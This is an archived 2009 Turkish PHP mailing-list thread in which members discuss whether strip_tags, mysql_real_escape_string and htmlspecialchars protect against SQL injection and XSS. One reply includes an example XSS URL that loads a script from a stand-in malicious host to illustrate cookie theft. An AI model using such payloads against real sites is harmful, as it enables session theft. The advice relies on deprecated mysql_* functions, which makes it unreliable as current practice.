[Linux-programlama] Re: mysql_real_escape_string ve striptagsyeterli mi?

---------

[Linux-programlama] Re: mysql_real_escape_string ve striptagsyeterli mi?

From: Mehmet Gürevin <mehmetgurevin_at_gmail.com>
Date: Wed, 14 Jan 2009 09:29:13 +0200
Message-ID: <1635d1bf0901132329j4846dd5aj4da8cfd8b1b060aa@mail.gmail.com>

Merhaba,

htmlspecialchars fonksiyonunda karakter setini belirleyen bir
parametre var. Kullanmýþ olduðun karakter kodlamasýna göre
aþaðýdakilerden birini seçebilirsin.

UTF-8'de küçük ý büyük i sorunu yaþayabilirsin.

htmlspecialchars('<script>iÝþÞðÐüÜçÇöÖýI</script>', ENT_COMPAT, 'UTF-8');
htmlspecialchars('<script>iÝþÞðÐüÜçÇöÖýI</script>', ENT_COMPAT, 'ISO-8859-9');

Veya basitçe;

function xss($par){
        return strtr($par, array(
                '&' => '&amp;',
                '"' => '&quot;',
                "'" => '&#039;',
                '<' => '&lt;',
                '>' => '&gt;'
        ));
}

þeklinde bir fonksiyon yazabilirsin. Zaten htmlspecialchars'ýnda
yaptýðý farklý birþey deðil.

Kolay gelsin...

2009/1/14 Nuri Akman <nuri.akman_at_hazine.gov.tr>:
> Merhaba Mehmet Bey,
>
> Daha önce htmlspecialchars kullanmýþ ve türkçe karakterlerde sorun
> yaþamýþtým. Bu nedenle strip_tags komutunu kullanmaya baþladým. Sizin
> tecrübelerinize göre xss'den korunma için siz hangisi dersiniz?
>
> Selamlar...
> Nuri AKMAN
>
>
> Mehmet Gürevin yazmýþ:
>
> Merhaba,
>
> SQL için diðer arkadaþlarýn tavsiyeleri sanýrým yeterli. Ancak ekrana
> bastýrmaktan bahsettiðine göre xss içinde kendini koruman gerekir.
>
> Misal;
>
> http://www.site.com/?parametre=<script
> src="http://www.zararli.com/xss.js"></script>
>
> Gibi bir istekte xss.js dosyasýný browser execute eder ve cookiler
> dahil browser tarafýnda js'nin yetkisi dahilinde tüm bilgiler
> çalýnabilir ve iþlem yaptýrýlabilir. Mesela sayfanýn bir bölgesine
> reklam bile eklenebilir.
>
> Gelen parametreyi ekrana bastýracaðýn sýrada htmlspecialchars
> fonksiyonu ile ekrana bastýrýrsan basitçe bundan korunmuþ olursun.
>
> Örnek;
>
> $par = mysql_real_escape_string($_GET['parametre']);
> $sql = "SELECT * FROM table WHERE name='$par'";
> echo(htmlspecialchars($par));
>
> Kolay gelsin...
>
> 2009/1/11 Nuri AKMAN <nuriakman_at_gmail.com>:
>
>
> Arkadaþlar,
>
> $_POST veya $_GET ile aldýðým bir parametreyi SQL'de kullanmam ve ekrana
> yazdýrmam gerekiyor.
> Aþaðýdaki kadar iþlem hack yememek için sizce yeterli olur mu?
>
>
> $_GET['bolumadi'] = striptags($_GET['bolumadi']);
> echo $_GET['bolumadi'];
> $SQL = sprintf("select * from xxx where yyy = '%s' order by 1",
> mysql_real_escape_string( $_GET['bolumadi'] ));
>
> Selamlar,
> Nuri AKMAN
>
> _______________________________________________
> Linux-programlama mailing list
> Linux-programlama_at_liste.linux.org.tr
> http://liste.linux.org.tr/mailman/listinfo/linux-programlama
>
>
>
>
> _______________________________________________
> Linux-programlama mailing list
> Linux-programlama_at_liste.linux.org.tr
> http://liste.linux.org.tr/mailman/listinfo/linux-programlama
>
>
>
> _______________________________________________
> Linux-programlama mailing list
> Linux-programlama_at_liste.linux.org.tr
> http://liste.linux.org.tr/mailman/listinfo/linux-programlama
>
>
_______________________________________________
Linux-programlama mailing list
Linux-programlama_at_liste.linux.org.tr
http://liste.linux.org.tr/mailman/listinfo/linux-programlama
Received on Wed 14 Jan 2009 - 08:24:36 EET

---------

Bu arsiv hypermail 2.2.0 tarafindan uretilmistir.